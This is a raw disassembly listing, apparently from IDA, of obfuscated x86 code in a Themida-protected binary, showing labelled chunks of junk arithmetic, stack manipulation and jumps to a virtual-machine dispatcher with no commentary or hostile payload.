; START OF FUNCTION CHUNK FOR sub_565CDA
loc_54C5EC: ; CODE XREF: sub_565CDA-21CB7j
xor al, bl
jmp loc_548440
; END OF FUNCTION CHUNK FOR sub_565CDA
; ---------------------------------------------------------------------------
loc_54C5F3: ; CODE XREF: Themida_:0054DC15j
push ebx
jmp loc_544AE8
; ---------------------------------------------------------------------------
loc_54C5F9: ; CODE XREF: Themida_:00548F98j
mov [esp], ecx
push eax
jmp loc_54A715
; ---------------------------------------------------------------------------
loc_54C602: ; CODE XREF: Themida_:0054D421j
mov eax, 1
jmp loc_54CD2B
; ---------------------------------------------------------------------------
loc_54C60C: ; CODE XREF: Themida_:0054DE2Dj
mov ebx, ecx
pop ecx
shr ebx, 1
shr ebx, 8
shl ebx, 7
push 457Dh
mov [esp], ebx
not dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
inc ebx
push ecx
mov ecx, 40E64905h
dec ecx
sub ecx, 746803AAh
add ecx, 157F0D6Dh
inc ecx
sub ecx, 0F4DB0848h
xor ebx, ecx
pop ecx
and eax, ebx
mov ebx, [esp]
jmp loc_54D0E1
; ---------------------------------------------------------------------------
loc_54C654: ; CODE XREF: Themida_:0054D6A9j
pop ebx
xor ebx, eax
push ecx
mov ecx, esp
jmp loc_54DF0E
; ---------------------------------------------------------------------------
loc_54C65F: ; CODE XREF: Themida_:005497B9j
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push 6DE0h
jmp loc_54E192
; ---------------------------------------------------------------------------
loc_54C677: ; CODE XREF: Themida_:0054B046j
pop edi
sub edx, 0B7C0FD2Ch
add esi, edx
pop edx
sub esi, 4
jmp loc_544D26
; ---------------------------------------------------------------------------
loc_54C68C: ; CODE XREF: Themida_:0054BE68j
mov esi, [esp]
add esp, 4
push esi
not dword ptr [esp]
jmp loc_54B04B
; ---------------------------------------------------------------------------
loc_54C69E: ; CODE XREF: Themida_:005456B6j
push 57C4h
push esp
pop dword ptr [esp]
jmp loc_54AB89
; ---------------------------------------------------------------------------
loc_54C6AC: ; CODE XREF: Themida_:005470EEj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C6B1: ; CODE XREF: Themida_:0054C173j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C6B6: ; CODE XREF: Themida_:00549772j
not dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
mov esi, esp
push ebx
mov ebx, 26497656h
sub ebx, 2B99010Fh
xor ebx, 0FAB07543h
add esi, 50480EC7h
add esi, ebx
push edx
mov edx, 60184A1Bh
neg edx
inc edx
sub edx, 4F9FA71Fh
sub esi, edx
jmp loc_54DDA8
; ---------------------------------------------------------------------------
loc_54C6F0: ; CODE XREF: Themida_:00547ACAj
xor eax, ecx
push 5AA4h
mov [esp], eax
jmp loc_547A15
; ---------------------------------------------------------------------------
loc_54C6FF: ; CODE XREF: Themida_:0054524Dj
or esi, 5AA53BC3h
push edx
mov edx, 3D65F900h
xor esi, edx
pop edx
mov edi, esi
pop esi
xor [esp+4], edi
push dword ptr [esp]
pop edi
jmp loc_546D51
; ---------------------------------------------------------------------------
loc_54C71E: ; CODE XREF: Themida_:0054AEE1j
push edx
jmp loc_54F941
; ---------------------------------------------------------------------------
loc_54C724: ; CODE XREF: Themida_:0054A9B8j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5454C2
; ---------------------------------------------------------------------------
loc_54C73B: ; CODE XREF: Themida_:0054D26Bj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_54479B
; ---------------------------------------------------------------------------
loc_54C74F: ; CODE XREF: Themida_:005472A4j
dec esi
push edx
mov edx, 5B5846Ah
xor esi, edx
pop edx
sub eax, esi
pop esi
push ecx
push edi
push 3D3B0383h
jmp loc_54D86E
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_548C04
; ---------------------------------------------------------------------------
loc_54C770: ; CODE XREF: Themida_:0054EF0Ej
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C785: ; CODE XREF: Themida_:0054BDFFj
mov edi, eax
mov esi, edi
jmp loc_546287
; ---------------------------------------------------------------------------
loc_54C78E: ; CODE XREF: Themida_:0054550Bj
pop esp
mov [esp], edi
jmp loc_5471D4
; ---------------------------------------------------------------------------
loc_54C797: ; CODE XREF: Themida_:0054B1ACj
sub esi, ebp
pop ebp
sub esi, edi
jmp loc_54C482
; ---------------------------------------------------------------------------
loc_54C7A1: ; CODE XREF: Themida_:0054DB2Bj
sub esp, 4
jmp loc_54CC49
; ---------------------------------------------------------------------------
loc_54C7A9: ; CODE XREF: Themida_:0054F598j
xor eax, ebx
push esi
mov esi, 25F2098Fh
push ebx
mov ebx, 38832A93h
add ebx, 1E311A99h
jmp loc_54F6CC
; ---------------------------------------------------------------------------
loc_54C7C2: ; CODE XREF: Themida_:0054FA72j
add [esp+4], edi
pop edi
pop eax
push 53B2h
jmp loc_54B8DD
; ---------------------------------------------------------------------------
loc_54C7D2: ; CODE XREF: Themida_:00544640j
sub eax, edx
sub eax, 27C66026h
mov edx, [esp]
add esp, 4
push 51CBh
mov [esp], edi
push 75B99524h
mov edi, [esp]
add esp, 4
push 0E8h
jmp loc_54BB44
; ---------------------------------------------------------------------------
loc_54C7FC: ; CODE XREF: Themida_:00546760j
inc ebp
add ebp, 599C116Ah
sub edi, ebp
jmp loc_54CD5D
; ---------------------------------------------------------------------------
loc_54C80A: ; CODE XREF: Themida_:005441E7j
push cx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54C812: ; CODE XREF: Themida_:00546FD1j
xchg al, dl
or dl, 18h
sub dl, 4Ch
sub al, 12h
sub al, dl
add al, 12h
pop edx
add al, bh
add al, 0EEh
pop ebx
xor bl, al
movzx eax, al
push small 4456h
mov [esp], ax
jmp loc_5454E3
; ---------------------------------------------------------------------------
loc_54C838: ; CODE XREF: Themida_:0054D01Fj
mov ebp, esp
add ebp, 4
jmp loc_544028
; ---------------------------------------------------------------------------
loc_54C845: ; CODE XREF: Themida_:00546289j
and [edi+1Ch], esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_547B42
; ---------------------------------------------------------------------------
loc_54C857: ; CODE XREF: Themida_:00546E6Bj
and eax, 54435C19h
xor eax, 440500Ch
jmp loc_548AE8
; ---------------------------------------------------------------------------
loc_54C866: ; CODE XREF: Themida_:0054BD48j
mov [esp], edi
push edi
jmp loc_54640A
; ---------------------------------------------------------------------------
loc_54C86F: ; CODE XREF: Themida_:0054A40Ej
pop ebx
jmp loc_547C59
; ---------------------------------------------------------------------------
loc_54C875: ; CODE XREF: Themida_:005443CEj
add edi, eax
add edi, 29D3536Eh
mov eax, [esp]
jmp loc_54CD52
; ---------------------------------------------------------------------------
loc_54C885: ; CODE XREF: Themida_:0054E481j
mov edi, 27B86B54h
xor edi, 24A54C3Fh
jmp loc_54DED9
; ---------------------------------------------------------------------------
loc_54C895: ; CODE XREF: Themida_:005478EBj
push ecx
mov ecx, 3D000403h
push edi
mov edi, 757D4804h
sub esp, 4
mov [esp], edx
mov edx, 3C613FB9h
add edx, 66CC1660h
dec edx
inc edx
or edx, 31DF4A76h
push ebp
mov ebp, 44D20510h
jmp loc_54C5B8
; ---------------------------------------------------------------------------
loc_54C8C5: ; CODE XREF: Themida_:0054EF74j
push 1AD1h
mov [esp], ebp
mov ebp, 4
add ecx, 773A293Bh
add ecx, ebp
sub ecx, 773A293Bh
push dword ptr [esp]
pop ebp
add esp, 4
push eax
jmp loc_54DFBE
; ---------------------------------------------------------------------------
loc_54C8F0: ; CODE XREF: Themida_:0054D019j
add ecx, edi
jmp loc_54EE62
; ---------------------------------------------------------------------------
loc_54C8F7: ; CODE XREF: Themida_:005470C8j
xchg eax, edi
not eax
xchg eax, edi
sub edi, 46988BFCh
jmp loc_54FD4D
; ---------------------------------------------------------------------------
loc_54C906: ; CODE XREF: Themida_:00549EDAj
sub esi, 33292459h
add esi, 55B94C62h
sub esi, 33D8335Fh
add esi, ecx
add esi, 33D8335Fh
push edx
mov edx, 76046109h
or edx, 4A0206AFh
shr edx, 5
jmp loc_5449E0
; ---------------------------------------------------------------------------
loc_54C934: ; CODE XREF: Themida_:0054437Dj
add ebx, 4
jmp loc_5474E7
; ---------------------------------------------------------------------------
loc_54C93C: ; CODE XREF: Themida_:0054E2FDj
add esi, ebp
pop ebp
add esi, 4
jmp loc_547C1B
; ---------------------------------------------------------------------------
loc_54C94A: ; CODE XREF: Themida_:0054427Aj
pop ebx
mov ebx, [esp]
add esp, 4
xor ebx, 75D1079Ah
jmp loc_54762A
; ---------------------------------------------------------------------------
loc_54C95F: ; CODE XREF: Themida_:00547A64j
push eax
mov eax, 4
add esi, 7947342Ah
add esi, eax
sub esi, 7947342Ah
pop eax
add esi, 4
jmp loc_54E77D
; ---------------------------------------------------------------------------
loc_54C97C: ; CODE XREF: Themida_:005445CBj
sub edx, 68920825h
push ebx
mov ebx, 0DB136BCEh
jmp loc_5458D4
; ---------------------------------------------------------------------------
loc_54C98D: ; CODE XREF: Themida_:0054E215j
push ebx
mov ebx, 15012699h
and esi, ebx
pop ebx
sub esi, 0FFFFFFFFh
xor esi, 0E7C5AFE3h
jmp loc_545110
; ---------------------------------------------------------------------------
loc_54C9A4: ; CODE XREF: Themida_:0054D9BDj
add esp, 4
sub esp, 4
mov [esp], ecx
push ebp
mov ebp, 2BD22783h
and ebp, 4580C32h
not ebp
shl ebp, 6
sub ebp, 1
jmp loc_547E61
; ---------------------------------------------------------------------------
loc_54C9C9: ; CODE XREF: Themida_:0054DFEBj
mov ebx, ecx
pop ecx
mov esi, ebx
jmp loc_5466F4
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_54EB90
; ---------------------------------------------------------------------------
loc_54C9DC: ; CODE XREF: Themida_:0054B08Bj
add eax, 59C65CB0h
pop ebx
sub eax, 49A023E5h
jmp loc_54BE54
; ---------------------------------------------------------------------------
loc_54C9EC: ; CODE XREF: Themida_:0054FB17j
pop ecx
loc_54C9ED: ; CODE XREF: Themida_:00549104j
; Themida_:loc_549648j
push 2D76h
mov [esp], ebx
mov eax, [esp]
push ebx
mov ebx, esp
push edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
jmp loc_54607F
; ---------------------------------------------------------------------------
loc_54CA0B: ; CODE XREF: Themida_:00549F69j
mov [esp], esi
sub esp, 4
mov [esp], esp
push ecx
mov ecx, 4
sub dword ptr [esp+4], 6F9A6EFCh
jmp loc_54934A
; ---------------------------------------------------------------------------
loc_54CA2A: ; CODE XREF: Themida_:0054B590j
push esi
push 7A23h
jmp loc_54D379
; ---------------------------------------------------------------------------
loc_54CA35: ; CODE XREF: Themida_:005471CFj
sub esp, 4
mov [esp], edi
mov edi, 32FE1D8Fh
shr edi, 5
push ecx
mov ecx, 6555190Dh
xor ecx, 153B7F51h
or edi, ecx
pop ecx
shr edi, 7
shr edi, 1
jmp loc_54CF87
; ---------------------------------------------------------------------------
loc_54CA5F: ; CODE XREF: Themida_:00547F90j
push 67F4h
mov [esp], esi
push 55DEh
mov [esp], ecx
mov ecx, 1D8E0E7Eh
mov esi, ecx
pop ecx
xor ebx, esi
pop esi
xor eax, ebx
mov ebx, [esp]
push ebx
push esp
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
jmp $+5
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_54C267
; ---------------------------------------------------------------------------
sub esp, 2
mov [esp], bp
jmp loc_544868
; ---------------------------------------------------------------------------
loc_54CAAD: ; CODE XREF: Themida_:005477D2j
pop esp
dec edi
sub edi, 0CF7F23E4h
jmp loc_54B785
; ---------------------------------------------------------------------------
loc_54CABA: ; CODE XREF: Themida_:00549678j
mov esi, esp
push ecx
mov ecx, 4
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
shr ecx, 2
push ebp
sub esp, 4
mov [esp], esp
jmp loc_547CF1
; ---------------------------------------------------------------------------
loc_54CAE1: ; CODE XREF: Themida_:00546854j
push 79D9h
jmp loc_5449D8
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_548099
; ---------------------------------------------------------------------------
loc_54CAFF: ; CODE XREF: Themida_:005500A7j
pop edx
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54CB10: ; CODE XREF: Themida_:0054AEFBj
add esi, ecx
pop ecx
or ecx, esi
pop esi
add ecx, 58AB0BFAh
add ecx, 0A8F57467h
jmp loc_546F56
; ---------------------------------------------------------------------------
loc_54CB27: ; CODE XREF: Themida_:0054405Ej
dec ecx
neg ecx
xor ecx, 9000CB27h
add eax, ecx
pop ecx
add eax, 4
jmp loc_54A9C9
; ---------------------------------------------------------------------------
loc_54CB3B: ; CODE XREF: Themida_:00547060j
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ebp
push 4
jmp loc_545252
; ---------------------------------------------------------------------------
loc_54CB51: ; CODE XREF: Themida_:0054769Aj
push 0Ah
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_549AF6
; ---------------------------------------------------------------------------
loc_54CB67: ; CODE XREF: Themida_:00546006j
add esp, 4
jmp loc_5471F0
; ---------------------------------------------------------------------------
loc_54CB72: ; CODE XREF: Themida_:0054FDFEj
mov [esp], ecx
mov ecx, 2
jmp loc_54BBCA
; ---------------------------------------------------------------------------
loc_54CB7F: ; CODE XREF: Themida_:0054959Dj
mov [esp], ebx
jmp loc_549F5B
; ---------------------------------------------------------------------------
loc_54CB87: ; CODE XREF: Themida_:00547CA3j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
pop edx
pop ebx
jmp loc_544022
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_54B71B
; ---------------------------------------------------------------------------
loc_54CBA9: ; CODE XREF: Themida_:0054CC55j
sub al, ch
jmp loc_54EAF0
; ---------------------------------------------------------------------------
loc_54CBB0: ; CODE XREF: Themida_:005492EFj
shl si, 1
sub si, 4FD0h
push ebx
mov bx, si
push edx
mov dx, bx
mov cx, dx
jmp loc_545F2F
; ---------------------------------------------------------------------------
loc_54CBC8: ; CODE XREF: Themida_:0054DD08j
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54CBD4: ; CODE XREF: Themida_:0054C41Cj
add eax, edx
push ecx
mov ecx, 23E57555h
add eax, ecx
mov ecx, [esp]
add esp, 4
pop edx
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_54DFF0
; ---------------------------------------------------------------------------
loc_54CBF8: ; CODE XREF: Themida_:0054B1D5j
push 70A7h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
push 0B31h
mov [esp], esi
jmp loc_54D323
; ---------------------------------------------------------------------------
loc_54CC15: ; CODE XREF: Themida_:0054B5CFj
push edx
jmp loc_54F703
; ---------------------------------------------------------------------------
loc_54CC1B: ; CODE XREF: Themida_:00549FE1j
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_54ECA1
; ---------------------------------------------------------------------------
loc_54CC2B: ; CODE XREF: Themida_:00547424j
mov edx, edi
jmp loc_54858C
; ---------------------------------------------------------------------------
loc_54CC32: ; CODE XREF: Themida_:0054D7ECj
push dword ptr [esp]
pop ebx
add esp, 4
push ebx
jmp loc_546E96
; ---------------------------------------------------------------------------
loc_54CC42: ; CODE XREF: Themida_:0054EB8Bj
mov al, bh
jmp loc_547653
; ---------------------------------------------------------------------------
loc_54CC49: ; CODE XREF: Themida_:0054C7A4j
mov [esp], edi
jmp loc_54CDDA
; ---------------------------------------------------------------------------
loc_54CC51: ; CODE XREF: Themida_:00549F80j
add al, 89h
sub al, 6Bh
jmp loc_54CBA9
; ---------------------------------------------------------------------------
loc_54CC5A: ; CODE XREF: Themida_:0054E8A0j
pop ebp
mov edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shr edi, 5
sub edi, 0E9CDDA1Fh
add edx, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_54F7F9
; ---------------------------------------------------------------------------
loc_54CC80: ; CODE XREF: Themida_:00548C39j
mov [edx], eax
pop edx
pop ebx
mov eax, [esp]
add esp, 4
pop ecx
pop edi
jmp loc_544C26
; ---------------------------------------------------------------------------
loc_54CC91: ; CODE XREF: Themida_:005469CEj
mov bl, 9
add bl, 0FFh
inc bl
xor bl, 6Eh
not bl
sub bl, 0A9h
mov dh, bl
pop ebx
jmp loc_54B643
; ---------------------------------------------------------------------------
loc_54CCA8: ; CODE XREF: Themida_:00548D27j
mov edx, [esp]
add esp, 4
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54CCB6: ; CODE XREF: Themida_:0054484Aj
sub eax, 0AC60424h
mov esi, eax
jmp loc_5491DE
; ---------------------------------------------------------------------------
loc_54CCC2: ; CODE XREF: Themida_:005472F5j
push 47DBh
mov [esp], ecx
push eax
push 77D4ABAh
pop eax
mov ecx, eax
pop eax
inc ecx
jmp loc_54A071
; ---------------------------------------------------------------------------
loc_54CCDA: ; CODE XREF: Themida_:005458C0j
shl esi, 5
or esi, 4F9C1FA0h
push 6ADBh
mov [esp], ecx
push esi
mov esi, 1766D16h
mov ecx, 654498Ah
jmp loc_54F299
; ---------------------------------------------------------------------------
loc_54CCFB: ; CODE XREF: Themida_:005451A6j
pop esi
add esp, 4
loc_54CCFF: ; CODE XREF: Themida_:0054ACF0j
push ebx
push dword ptr [esp]
jmp loc_548D2C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5483BE
; ---------------------------------------------------------------------------
loc_54CD11: ; CODE XREF: Themida_:0054A4B9j
add edi, 4
jmp loc_5495C6
; ---------------------------------------------------------------------------
loc_54CD1C: ; CODE XREF: Themida_:0054B029j
push esp
pop ecx
push ebp
mov ebp, 4
add ecx, ebp
jmp loc_547FEF
; ---------------------------------------------------------------------------
loc_54CD2B: ; CODE XREF: Themida_:0054C607j
add edi, eax
pop eax
jmp loc_54DC4D
; ---------------------------------------------------------------------------
loc_54CD33: ; CODE XREF: Themida_:00545393j
push eax
mov eax, 23E40FE3h
jmp loc_54B734
; ---------------------------------------------------------------------------
loc_54CD3E: ; CODE XREF: Themida_:0054A073j
push ebp
push eax
mov eax, 0
push eax
add dword ptr [esp], 49111061h
jmp loc_54B231
; ---------------------------------------------------------------------------
loc_54CD52: ; CODE XREF: Themida_:0054C880j
add esp, 4
jmp loc_54FC02
; ---------------------------------------------------------------------------
loc_54CD5D: ; CODE XREF: Themida_:0054C805j
pop ebp
push 3AFDh
mov [esp], edi
jmp loc_54600B
; ---------------------------------------------------------------------------
loc_54CD6B: ; CODE XREF: Themida_:0054DA8Cj
and eax, edi
pop edi
or edx, eax
jmp loc_54BF35
; ---------------------------------------------------------------------------
loc_54CD75: ; CODE XREF: Themida_:00548895j
add [esp+4], ebx
pop ebx
jmp loc_546D11
; ---------------------------------------------------------------------------
loc_54CD7F: ; CODE XREF: Themida_:00549552j
add eax, 4
jmp loc_5464CB
; ---------------------------------------------------------------------------
loc_54CD87: ; CODE XREF: Themida_:00549DA0j
mov [esp], esi
push 73F836B9h
pop esi
add esi, 8C07C948h
mov ecx, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_545F29
; ---------------------------------------------------------------------------
loc_54CDA6: ; CODE XREF: Themida_:0054DFB9j
add eax, [ebx]
pop ebx
pop ecx
push dword ptr [esp]
pop edx
push edi
mov edi, esp
push eax
mov eax, 504B6516h
inc eax
not eax
jmp loc_548811
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54CDCD: ; CODE XREF: Themida_:0054F5B8j
push edi
push eax
push 19F618D5h
pop eax
jmp loc_548074
; ---------------------------------------------------------------------------
loc_54CDDA: ; CODE XREF: Themida_:0054CC4Cj
mov edi, 4
add ebx, edi
pop edi
jmp loc_5476CD
; ---------------------------------------------------------------------------
loc_54CDE7: ; CODE XREF: Themida_:0054E98Bj
pop ecx
pop edi
add edi, 4
add edi, 2
xchg edi, [esp]
jmp loc_54C109
; ---------------------------------------------------------------------------
loc_54CDFA: ; CODE XREF: Themida_:0054C230j
mov ecx, [esp]
jmp loc_54BF94
; ---------------------------------------------------------------------------
loc_54CE02: ; CODE XREF: Themida_:005494D8j
mov esp, [esp]
jmp loc_5459FD
; ---------------------------------------------------------------------------
loc_54CE0A: ; CODE XREF: Themida_:00547C49j
add ecx, esi
jmp loc_54AD13
; ---------------------------------------------------------------------------
loc_54CE11: ; CODE XREF: Themida_:0054436Fj
mov ebx, 34BA1AF0h
add ebx, ecx
jmp loc_547D09
; ---------------------------------------------------------------------------
loc_54CE1D: ; CODE XREF: Themida_:0054D702j
add esp, 4
push ebx
jmp loc_547FC0
; ---------------------------------------------------------------------------
loc_54CE29: ; CODE XREF: Themida_:0054D811j
pop ebp
add edi, ecx
push ebx
jmp loc_5500B8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 419Dh
mov [esp], ebp
sub esp, 4
mov [esp], esp
jmp loc_547947
; ---------------------------------------------------------------------------
loc_54CE49: ; CODE XREF: Themida_:0054F5C8j
add esp, 4
jmp loc_549379
; ---------------------------------------------------------------------------
loc_54CE54: ; CODE XREF: Themida_:0054C1BEj
mov [esp], edx
mov edx, 36CA5BDAh
jmp loc_54B993
; ---------------------------------------------------------------------------
loc_54CE61: ; CODE XREF: Themida_:0054B957j
mov [esp], eax
mov eax, 4
jmp loc_544D5A
; ---------------------------------------------------------------------------
loc_54CE6E: ; CODE XREF: Themida_:0054AA5Ej
mov esp, [esp]
jmp loc_5461B6
; ---------------------------------------------------------------------------
loc_54CE76: ; CODE XREF: Themida_:0054764Ej
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push 41F2h
mov [esp], ecx
mov ch, 88h
push small 8EDh
mov [esp], cx
xchg dl, [esp+1]
not dl
xor [esp+1], dl
xor dl, [esp+1]
jmp loc_5488AC
; ---------------------------------------------------------------------------
loc_54CEA8: ; CODE XREF: Themida_:0054F2BBj
push ecx
push esp
pop ecx
push esi
push eax
mov eax, 66394B92h
jmp loc_54F049
; ---------------------------------------------------------------------------
loc_54CEB7: ; CODE XREF: Themida_:005452B1j
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54CEC2: ; CODE XREF: Themida_:0054ADE9j
pop ecx
mov edx, [esp]
add esp, 4
push esi
jmp loc_546F25
; ---------------------------------------------------------------------------
loc_54CED2: ; CODE XREF: Themida_:0054C4DEj
add edx, 4
push ebp
mov ebp, 69DF229Fh
add ebp, 9620DD65h
sub edx, ebp
pop ebp
xchg edx, [esp]
pop esp
mov [esp], ecx
push edx
mov dh, 0C3h
mov cl, dh
pop edx
sub al, 97h
sub al, cl
add al, 97h
mov ecx, [esp]
push ebp
push esp
jmp loc_54B3FE
; ---------------------------------------------------------------------------
loc_54CF04: ; CODE XREF: Themida_:00545FAAj
pop dword ptr [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], eax
push 6783h
mov [esp], edi
sub esp, 4
mov [esp], esi
jmp loc_54E607
; ---------------------------------------------------------------------------
loc_54CF24: ; CODE XREF: Themida_:00549EE5j
mov [esp], edx
push eax
push ecx
mov ecx, 4637304h
mov eax, ecx
pop ecx
xor eax, 5E27650h
not eax
add eax, 4D4D37B1h
mov edx, eax
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_54565D
; ---------------------------------------------------------------------------
loc_54CF53: ; CODE XREF: Themida_:00548DDEj
mov ebx, 92F62C3h
add dword ptr [esp+4], 4DFB32D3h
add [esp+4], ebx
sub dword ptr [esp+4], 4DFB32D3h
pop ebx
pop eax
sub eax, 92F62C3h
pop edi
add eax, edi
mov ecx, [eax]
mov eax, [esp]
jmp loc_54723A
; ---------------------------------------------------------------------------
loc_54CF80: ; CODE XREF: Themida_:0054736Ej
shr edi, 1
jmp loc_54E9EB
; ---------------------------------------------------------------------------
loc_54CF87: ; CODE XREF: Themida_:0054CA5Aj
sub edi, 61DA1866h
sub edx, edi
pop edi
jmp loc_54A0E9
; ---------------------------------------------------------------------------
loc_54CF95: ; CODE XREF: Themida_:00548E66j
xchg edx, [esp]
pop esp
sub edx, 4A897951h
and eax, edx
push dword ptr [esp]
pop edx
jmp loc_54D599
; ---------------------------------------------------------------------------
loc_54CFAA: ; CODE XREF: Themida_:00546463j
add esp, 4
push ebp
mov ebp, 54CC6A93h
shl ebp, 8
xor ebp, 6F9F5585h
not ebp
push edx
mov edx, 162342D8h
add edx, 7EB515B1h
or edx, 54E92095h
and edx, 5010501Ch
xor edx, 4F306D3Bh
jmp loc_54F583
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_546594
; ---------------------------------------------------------------------------
loc_54CFEA: ; CODE XREF: Themida_:005459ECj
sub ax, bx
pop ebx
push 252Ch
mov [esp], ebp
push small 7BB4h
jmp loc_5491BB
; ---------------------------------------------------------------------------
loc_54CFFF: ; CODE XREF: Themida_:0054C379j
push edi
jmp loc_54D2A3
; ---------------------------------------------------------------------------
loc_54D005: ; CODE XREF: Themida_:00544D9Dj
pop esp
jmp loc_54A7C6
; ---------------------------------------------------------------------------
loc_54D00B: ; CODE XREF: Themida_:0054F7F4j
mov ecx, esp
push edi
mov edi, 74592DA3h
add edi, 8BA6D261h
jmp loc_54C8F0
; ---------------------------------------------------------------------------
loc_54D01E: ; CODE XREF: Themida_:0054F2E3j
push ebp
jmp loc_54C838
; ---------------------------------------------------------------------------
loc_54D024: ; CODE XREF: Themida_:00547034j
pop esp
imul cl
movzx cx, ah
push small 64BBh
mov [esp], cx
movzx cx, al
jmp loc_5448DB
; ---------------------------------------------------------------------------
loc_54D03C: ; CODE XREF: Themida_:0054BCD2j
mov edi, [esp]
add esp, 4
jmp loc_54D824
; ---------------------------------------------------------------------------
loc_54D04A: ; CODE XREF: Themida_:00548E04j
mov esi, 74C17A6h
add esi, 5D343225h
xor eax, esi
pop esi
xor eax, 56DA5C98h
xor edx, eax
mov eax, [esp]
add esp, 4
and ecx, edx
jmp loc_54FF81
; ---------------------------------------------------------------------------
loc_54D06C: ; CODE XREF: Themida_:00547A10j
not eax
neg eax
add eax, 0FFFFFFFFh
xor eax, 64AD622Fh
jmp loc_5484BF
; ---------------------------------------------------------------------------
loc_54D07D: ; CODE XREF: Themida_:005480EDj
inc esi
not esi
xor esi, 41773810h
jmp loc_54A5B7
; ---------------------------------------------------------------------------
loc_54D08B: ; CODE XREF: Themida_:00545FFEj
mov ebx, [esp]
push 4CA6h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push esi
push ecx
push 376A3FE5h
jmp loc_5453EF
; ---------------------------------------------------------------------------
loc_54D0AA: ; CODE XREF: Themida_:0054429Cj
add esi, 414219ACh
sub esi, 7C3D5Fh
pop ecx
jmp loc_54440E
; ---------------------------------------------------------------------------
loc_54D0BC: ; CODE XREF: Themida_:00544B29j
not edx
xchg edx, ebx
sub ebx, 6D0CB822h
add edx, 22181ADCh
add edx, ebx
sub edx, 22181ADCh
pop ebx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D0DA: ; CODE XREF: Themida_:00549C69j
mov cl, ah
jmp loc_549C89
; ---------------------------------------------------------------------------
loc_54D0E1: ; CODE XREF: Themida_:0054C64Fj
push esi
mov esi, esp
add esi, 4
jmp loc_548D58
; ---------------------------------------------------------------------------
loc_54D0EF: ; CODE XREF: Themida_:00548FA3j
add edi, 58FDDD4Bh
mov esi, edi
pop edi
add ecx, esi
pop esi
add ebp, ecx
pop ecx
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], ax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54D10E: ; CODE XREF: Themida_:0054BDC2j
sub esi, 7C2A7855h
push ecx
mov ecx, 378A3786h
neg ecx
push 5DAAh
mov [esp], ebx
push edi
mov edi, 613D7FDCh
mov ebx, edi
pop edi
sub ecx, ebx
pop ebx
and ecx, 3BBA49B5h
push eax
mov eax, 54512D7Ah
xor eax, 64E566A5h
sub ecx, eax
pop eax
add esi, ecx
pop ecx
add eax, 77261AB4h
sub eax, 35536572h
sub eax, esi
add eax, 35536572h
sub eax, 77261AB4h
jmp loc_547F08
; ---------------------------------------------------------------------------
loc_54D162: ; CODE XREF: Themida_:0054C3EBj
mov esi, 0A0607FBh
xor edx, esi
pop esi
add ebp, edx
jmp loc_54D195
; ---------------------------------------------------------------------------
loc_54D171: ; CODE XREF: Themida_:00548BB5j
mov eax, esp
jmp loc_54D68B
; ---------------------------------------------------------------------------
loc_54D178: ; CODE XREF: Themida_:00548940j
add esp, 4
add ebx, eax
mov eax, [esp]
add esp, 4
jmp loc_54F520
; ---------------------------------------------------------------------------
loc_54D18B: ; CODE XREF: Themida_:0054E1D4j
mov ebp, 45EB5541h
jmp loc_54A192
; ---------------------------------------------------------------------------
loc_54D195: ; CODE XREF: Themida_:0054D16Cj
pop edx
jmp loc_54FB36
; ---------------------------------------------------------------------------
loc_54D19B: ; CODE XREF: Themida_:0054D7C4j
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 6928298Bh
jmp loc_545BA3
; ---------------------------------------------------------------------------
loc_54D1AC: ; CODE XREF: Themida_:0054B238j
pop eax
jmp loc_54F8D7
; ---------------------------------------------------------------------------
loc_54D1B2: ; CODE XREF: Themida_:0054F5CFj
add edi, 4
sub edi, 4
xchg edi, [esp]
